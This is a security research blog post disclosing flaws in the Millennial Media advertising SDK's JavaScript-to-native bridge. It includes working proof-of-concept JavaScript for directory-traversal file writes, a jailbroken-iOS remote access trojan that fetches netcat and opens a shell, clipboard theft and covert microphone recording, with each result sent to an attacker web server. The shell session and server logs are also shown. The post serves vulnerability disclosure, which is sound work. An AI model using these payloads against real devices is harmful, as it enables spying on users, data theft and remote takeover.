Millenial Media Ad Library
on 27 November, 2013
Lately we have been analysing mobile advertising networks and in particular the Software Development Kits (SDKs) that the networks make available to application developers for the purpose of monetising their applications
During this research, we have found that a lot of applications expose mobile device users to the very real threat of compromise. We have found a number of exploitable cross-platform vulnerabilities, and we are still in the early stages of looking into this area. See this post and this post for details of issues recently disclosed as output from this research. Expect more to follow in the near future…
This blog post will detail a few issues discovered within the Millenial Media SDK (MMSDK).
By exploiting these vulnerabilities, an attacker would be able to perform the following actions:
- Retrieve directory listings
- Read, write and delete files
- Retrieve the contents of the clipboard
- Write content into the clipboard
- Use the microphone to record and transmit audio
- Call arbitrary exposed managed code
- Attack other applications using the MMSDK
These vulnerabilities are exploited by injecting JavaScript into a WebView. We have released output from related research previously – see the previous post Adventures With Android WebViews for background information as well as Adventures With iOS UIWebViews.
Many advertising networks make an SDK available to application developers in order to simplify integration of advertisements into an application. The Millenial Media SDK consists of a compiled library component and a number of header files that contain function declarations to be imported into a project so that they can be called. The library file contains the executable code that provides the ad network functionality. The application displays advertising content within a WebKit WebView. WebKit is an open source web browser rendering engine that powers browsers such as Apple Safari, and the default iOS and Android browsers.
Millenial Media make an SDK available for Android, iOS and Windows Phone. The vulnerabilities discovered by MWR and discussed in this post are present in each of the supported platforms. However, due to the differences in the level of security offered by each platform, the level of compromise that is possible also differs from device to device.
Many free applications use a WebView to load HTML content as an in-process web browser, and the advertising network SDK uses this browser instance to facilitate loading adverts from remote advertiser networks. Advertisers include functionality within their SDK to allow them to interact with the device’s ‘native’ features. Examples of native features include access to the camera, your contacts, and the ability to send SMS messages. These native features are accessed from JavaScript within the advert using a ‘native bridge’. This is where things begin to differ from how a website loaded into a browser on your desktop computer works. Websites use JavaScript all the time, however on a desktop computer a security barrier exists that prevents the JavaScript from turning on your web cam, or reading and writing files to your hard drive. Normally this is also true when browsing the web on a mobile device, providing the browser properly enforces this security boundary.
However, it is often the case that these ad networks do not prioritise security when designing their systems, and as a result this security boundary can be left wide open for JavaScript to access almost all of the resources available to the device. To make things worse, these advertisements are often loaded over a clear-text channel (HTTP) and are susceptible to Man in the Middle (MitM) attacks. An attacker that is able to intercept the communications between the device and the advertising network can inject arbitrary JavaScript into the WebView, and use this to access the native features of the device without the user’s consent.
Looking for Bridges
So, how do you spot a native bridge when looking at the code of an application? On iOS, this can be achieved by inspecting shouldStartLoadWithRequest function for a given WebView.
- (BOOL)webView:(UIWebView*)webView shouldStartLoadWithRequest:(NSURLRequest*)request navigationType:(UIWebViewNavigationType)navigationType {
NSURL *URL = [request URL];
if ([[URL scheme] isEqualToString:@"yourscheme"]) {
// parse the URL object and execute functions
}
}
The shouldStartLoadWithRequest function could be triggered from JavaScript by passing parameters within the URL, for example by setting the location of the WebView to yourscheme://method/parameter1/parameter2?parameter3=value.
The same can be achieved on Android in two different ways, the first is to use shouldOverrideUrlLoading in the same way as iOS uses shouldStartLoadWithRequest.
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
if (url.substring(0, 6).equalsIgnoreCase("yourscheme:")) {
// parse the URL object and execute functions
}
}
The second method for Android is to use the android.webkit.JavascriptInterface interface:
public class WebViewGUI extends Activity {
WebView mWebView;
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
mWebView=new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JavaScriptInterface(), "jsinterface");
mWebView.loadUrl("file:///android_asset/www/index.html");
setContentView(mWebView);
}
final class JavaScriptInterface {
JavaScriptInterface () { }
public String getSomeString() {
return "string";
}
}
}
This can be called from JavaScript as such: var String = window.jsinterface.getSomeString();
See this post for details for the risk exposed when using this technique.
For Windows Phone applications, developers make use of WebBrowser_ScriptNotify event. An example is presented below:
using Microsoft.Phone.Controls;
using System;
private void WebBrowser_ScriptNotify (object sender, NotifyEventArgs e)
{
// parse the e.get_Value() object and execute functions
}
The code is triggered from JavaScript when a call to the window.external.notify() method is made.
These methods of implementing a ‘native’ bridge are all employed by the Millenial Media SDK (MMSDK) and a number of issues have been discovered by MWR that can be exploited by 3rd parties to varying ends. The rest of this post will detail these vulnerabilities and provide Proof of Concept for exploitation.
Arbitrary file read, delete and write
It is possible to call the following methods from JavaScript within a WebView that has been created from an application that embeds the MMSDK:
- hasCreativeDirectory
- getFreeDiskSpace
- getDirectoryContents
- getFileContents
- writeData
- downloadFile
- moveFile
- removeAtPath
- getMimeType
- cleanupCache
The methods can be abused to read, delete and write files on the file system (that the application has access to/permissions for). The methods are also vulnerable to directory traversal, allowing them to be used to read, delete and write to files outside of the application’s file system location (subject to sandbox restrictions).
iOS Proof of Concept RAT
What follows is PoC exploit for compromising Jailbroken iOS devices that have installed MobileSubstrate. MobileSubstrate is a framework that allows 3rd-party developers to provide run-time patches (“MobileSubstrate extensions”) to system functions. A very basic remote access trojan (RAT) was developed by MWR as a PoC using Theos. Theos is a cross-platform suite of development tools for managing, developing, and deploying iOS software without the use of Xcode. The injected JavaScript writes a base64 encoded .dylib to the device that, if MobileSubstrate is installed, hooks into the springboard (the standard application that manages the iOS home screen) and downloads an arm version of netcat (a networking utility which reads and writes data across network connections, using the TCP/IP protocol) and an iOS shell from Metasploit; it then starts the shell on tcp port 5555.
The JavaScript below (with the base64 encoded contents of the files removed for readability) can be used to inject the RAT:
function cb(r){
x = new XMLHttpRequest;
x.open("get","http://xx.xx.xx.xx:8001/"+JSON.stringify(r.response));
x.send();
}
var dylib = new String("...");
var plist = new String("...");
window.MM.fileManager.writeData(dylib,"../../../../../../../../Library/MobileSubstrate/DynamicLibraries/MWRRat.dylib",cb);
window.MM.fileManager.writeData(plist,"../../../../../../../../Library/MobileSubstrate/DynamicLibraries/MWRRat.plist",cb);
The command below is used to start a web server and serve the required files:
$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
xx.xx.xx.xx - - [30/Jul/2013 12:21:53] "GET /netcat HTTP/1.1" 200 -
xx.xx.xx.xx - - [30/Jul/2013 12:21:53] "GET /ipwn HTTP/1.1" 200 -
Once the JavaScript has been injected into the WebView and the payloads downloaded from the hosted web server, the command below is used to connect to the remote listening shell:
$ nc xx.xx.xx.xx 5555
Self-destruction mode is enabled by default, use -k to keep.
Removing ./tmp/ipwn...
__________________
< iPwn Shell v0.01 >
------------------
\ ^__^
\ (00)\_______
(__)\ )\/\
||----w |
|| ||
ipwn (uid=501) (/) > getid
uid=501(mobile) gid=501(mobile)
ipwn (uid=501) (/) > uname
Darwin iPad-Mini-JB 13.0.0 Darwin Kernel Version 13.0.0: Wed Oct 10 23:24:16 PDT 2012; root:xnu-2107.2.34~1/RELEASE_ARM_S5L8942X iPad2,7
Access to the clipboard
It is possible to call the following methods from JavaScript within a WebView that has been created from an application that embeds the MMSDK:
- getPasteboardContents
- writeToPasteboard
After starting a web server on a system reachable by the device the following JavaScript PoC, when injected into the WebView, can be used to illustrate the issue:
function cb(r){
x = new XMLHttpRequest;
x.open("get","http://xx.xx.xx.xx:8001/"+JSON.stringify(r.response));
x.send();
}
window.MMJS.pasteboard.writeToPasteboard("greetings from MWR",cb);
window.MMJS.pasteboard.getPasteboardContents(1,cb);
As can be seen below, the value “greetings from MWR” has been written to the clipboard and then retrieved:
$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000
xx.xx.xx.xx - - [13/Aug/2013 13:13:06] "GET /%22greetings%20from%20MWR%22 HTTP/1.1" 404 -
Calling arbitrary classes/methods
As well as implementing a bridge via the addJavascriptInterface method, the Android SDK also implements a bridge using the shouldOverrideUrlLoading method. The source for the package com.millennialmedia.android (class MMWebViewClient); is presented below:
public boolean shouldOverrideUrlLoading(WebView webView, String url)
{
MMWebView mmWebView = (MMWebView)webView;
if (!mmWebView.isOriginalUrl(url))
{
MMSDK.Log.v("@@@@@@@@@@SHOULDOVERRIDELOADING@@@@@@@@@@@@@ Url is " + url + " for " + webView);
if (url.substring(0, 6).equalsIgnoreCase("mmsdk:"))
{
MMSDK.Log.v("Running JS bridge command: " + url);
MMCommand command = new MMCommand((MMWebView)webView, url);
this.isLastMMCommandResize = command.isResizeCommand();
this.cachedExecutor.execute(command);
return true;
}
if (this.redirectListenerImpl.isExpandingToUrl()) {
return false;
}
this.redirectListenerImpl.url = url;
this.redirectListenerImpl.weakContext = new WeakReference(webView.getContext());
this.redirectListenerImpl.creatorAdImplInternalId = mmWebView.creatorAdImplId;
HttpRedirection.startActivityFromUri(this.redirectListenerImpl);
}
return true;
}
The class MMCommand that is used to inspect the URL and execute actions based on the construct is presented below:
MMCommand(MMWebView webView, String uriString)
{
this.webViewRef = new WeakReference(webView);
try
{
Uri uri = Uri.parse(uriString);
String[] components = uri.getHost().split("\\.");
if (components.length < 2)
return;
String className = components[(components.length - 2)];
String methodName = components[(components.length - 1)];
this.arguments = new HashMap();
String queryString = uriString.substring(uriString.indexOf('?') + 1);
components = queryString.split("&");
for (String param : components)
{
String[] subComponents = param.split("=");
if (subComponents.length >= 2)
{
this.arguments.put(Uri.decode(subComponents[0]), Uri.decode(subComponents[1]));
if (subComponents[0].equalsIgnoreCase("callback")) {
this.callback = Uri.decode(subComponents[1]);
}
}
}
this.cls = Class.forName("com.millennialmedia.android.Bridge" + className);
this.method = this.cls.getMethod(methodName, new Class[] { this.arguments.getClass() });
}
catch (Exception e)
{
MMSDK.Log.e("Exception while executing javascript call %s %s", new Object[] { uriString, e.getMessage() });
e.printStackTrace();
}
}
As can be seen in the code above, it is possible to call arbitrary classes (and their methods) that are in the package com.millennialmedia.android where the class name starts with “Bridge”. The relevant code is again shown below:
this.cls = Class.forName("com.millennialmedia.android.Bridge" + className);
this.method = this.cls.getMethod(methodName, new Class[] { this.arguments.getClass() });
The classes that can be called are listed below:
- BridgeMMBanner
- BridgeMMCacedVideo
- BridgeMMCalendar
- BridgeMMDevice
- BridgeMMFileManager
- BridgeMMInlineVideo
- BridgeMMInterstitial
- BridgeMMMedia
- BridgeMMNotification
- BridgeMMPasteboard
An assumed unintentional outcome of this method is that anything that is extended from these classes is also accessible. For example the class BridgeMMBanner extends the MMJSObject class. Any methods within the MMJSObject class can be called etc.
Jumping from app to app
The SDK bundles it’s own JavaScript that is loaded into the local WebView “mraid.js” – this is stored on the sdcard – /mnt/sdcard/.mmsyscache/mraid.js. Files on the sdcard are world writeable for those in the sdcard_rw group.
shell@android:/ $ ls -al /mnt/sdcard/.mmsyscache/mraid.js
-rw-rw-r-- root sdcard_rw 68654 2013-08-13 15:32 mraid.js
If an application can inject arbitrary JavaScript into this file, it could be used as a vector to jump from application to application on Android devices. This potentially allows an application to bypass the sandbox and attack multiple applications from one initial attack vector.
Recording and transmitting audio
Worryingly advertising networks have started to use your mobile devices ‘listening’ capabilities for advertising purposes:
- Advertising Based on Environmental Conditions – http://metabunk.org/threads/google-has-the-technology-to-spy-on-your-background-ambient-noise.715/
- Snooping: It’s not a crime, it’s a feature – http://www.computerworld.com/s/article/9215853/Snooping_It_s_not_a_crime_it_s_a_feature
- Nuance Unveils Voice Ads – http://www.businesswire.com/news/home/20130401005432/en/Nuance-Unveils-Voice-Ads-Game-Changer-Interactive
The MMSDK contains functionality to convert audio into text and vice versa.
The following JavaScript can be used to cause the device under attack to translate text into audible sounds:
function cb(r){
x = new XMLHttpRequest;
x.open("get","http://xx.xx.xx.xx:8000/"+JSON.stringify(r));
x.send();
}
iframe = document.createElement("IFRAME");
iframe.setAttribute("src", 'mmsdk://MMSpeechkit.textToSpeech?text=Never%20gonna%20give%20you%20up%20Never%20gonna%20let%20you%20down%20Never%20gonna%20run%20around%20and%20desert%20you%20Never%20gonna%20make%20you%20cry%20Never%20gonna%20say%20goodbye%20Never%20gonna%20tell%20a%20lie%20and%20hurt%20you%20Never%20gonna%20give%20you%20up%20Never%20gonna%20let%20you%20down%20Never%20gonna%20run%20around%20and%20desert%20you%20Never%20gonna%20make%20you%20cry%20Never%20gonna%20say%20goodbye%20Never%20gonna%20tell%20a%20lie%20and%20hurt%20you&callback=cb');
document.documentElement.appendChild(iframe);
iframe.parentNode.removeChild(iframe);
If the code above is injected into the WebView the device will begin to sing the lyrics of the Rick Astley hit “Never Gonna Give You Up”.
If the code below is injected into the WebView the device will begin to record and after converting any speech to text, transmit the text as a callback.
function cb(r){
x = new XMLHttpRequest;
x.open("get","http://xx.xx.xx.xx:8000/"+JSON.stringify(r));
x.send();
}
MMJS.sdk.microphoneStateChange = function(state) {cb(state)};
MMJS.sdk.recognitionResult = function(state) {cb(state)};
MMJS.sdk.audioLevelChange = function(state) {};
MMJS.sdk.voiceStateChange = function(state) {};
iframe = document.createElement("IFRAME");
iframe.setAttribute("src", 'mmsdk://MMSpeechkit.startRecording?&callback=cb');
document.documentElement.appendChild(iframe);
iframe.parentNode.removeChild(iframe);
The recorded sounds can be seen in the web server logs below:
$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
..
/%7B%22response%22:%22Success.%22,%22result%22:1,%22call%22:%22startRecording%22,%22class%22:%22MMSpeechkit%22%7D HTTP/1.1" 404 -
..
..
192.168.0.100 - - [24/Sep/2013 17:06:44] code 404, message File not found
192.168.0.100 - - [24/Sep/2013 17:06:44] "GET /%22recording%22 HTTP/1.1" 404 -
192.168.0.100 - - [24/Sep/2013 17:06:44] code 404, message File not found
192.168.0.100 - - [24/Sep/2013 17:06:44] "GET /0.24974999999999997 HTTP/1.1" 404 -
192.168.0.100 - - [24/Sep/2013 17:06:44] code 404, message File not found
..
..
192.168.0.100 - - [24/Sep/2013 17:06:50] code 404, message File not found
192.168.0.100 - - [24/Sep/2013 17:06:50] "GET /[%7B%22score%22:%22490%22,%22result%22:%22I%20sure%20hope%20no%20one%20here%20I%20am%20talking%20about%22%7D,%7B%22score%22:%220%22,%22result%22:%22I%20sure%20hope%20no%20one%20here%20I'm%20talking%20about%22%7D,%7B%22score%22:%220%22,%22result%22:%22I%20sure%20hope%20no%20one%20here%20we%20are%20talking%20about%22%7D] HTTP/1.1" 404 -
The actual spoken words were “I sure hope no one hears what I am talking about” and the ‘captured’ words are “I sure hope no one here I am talking about”.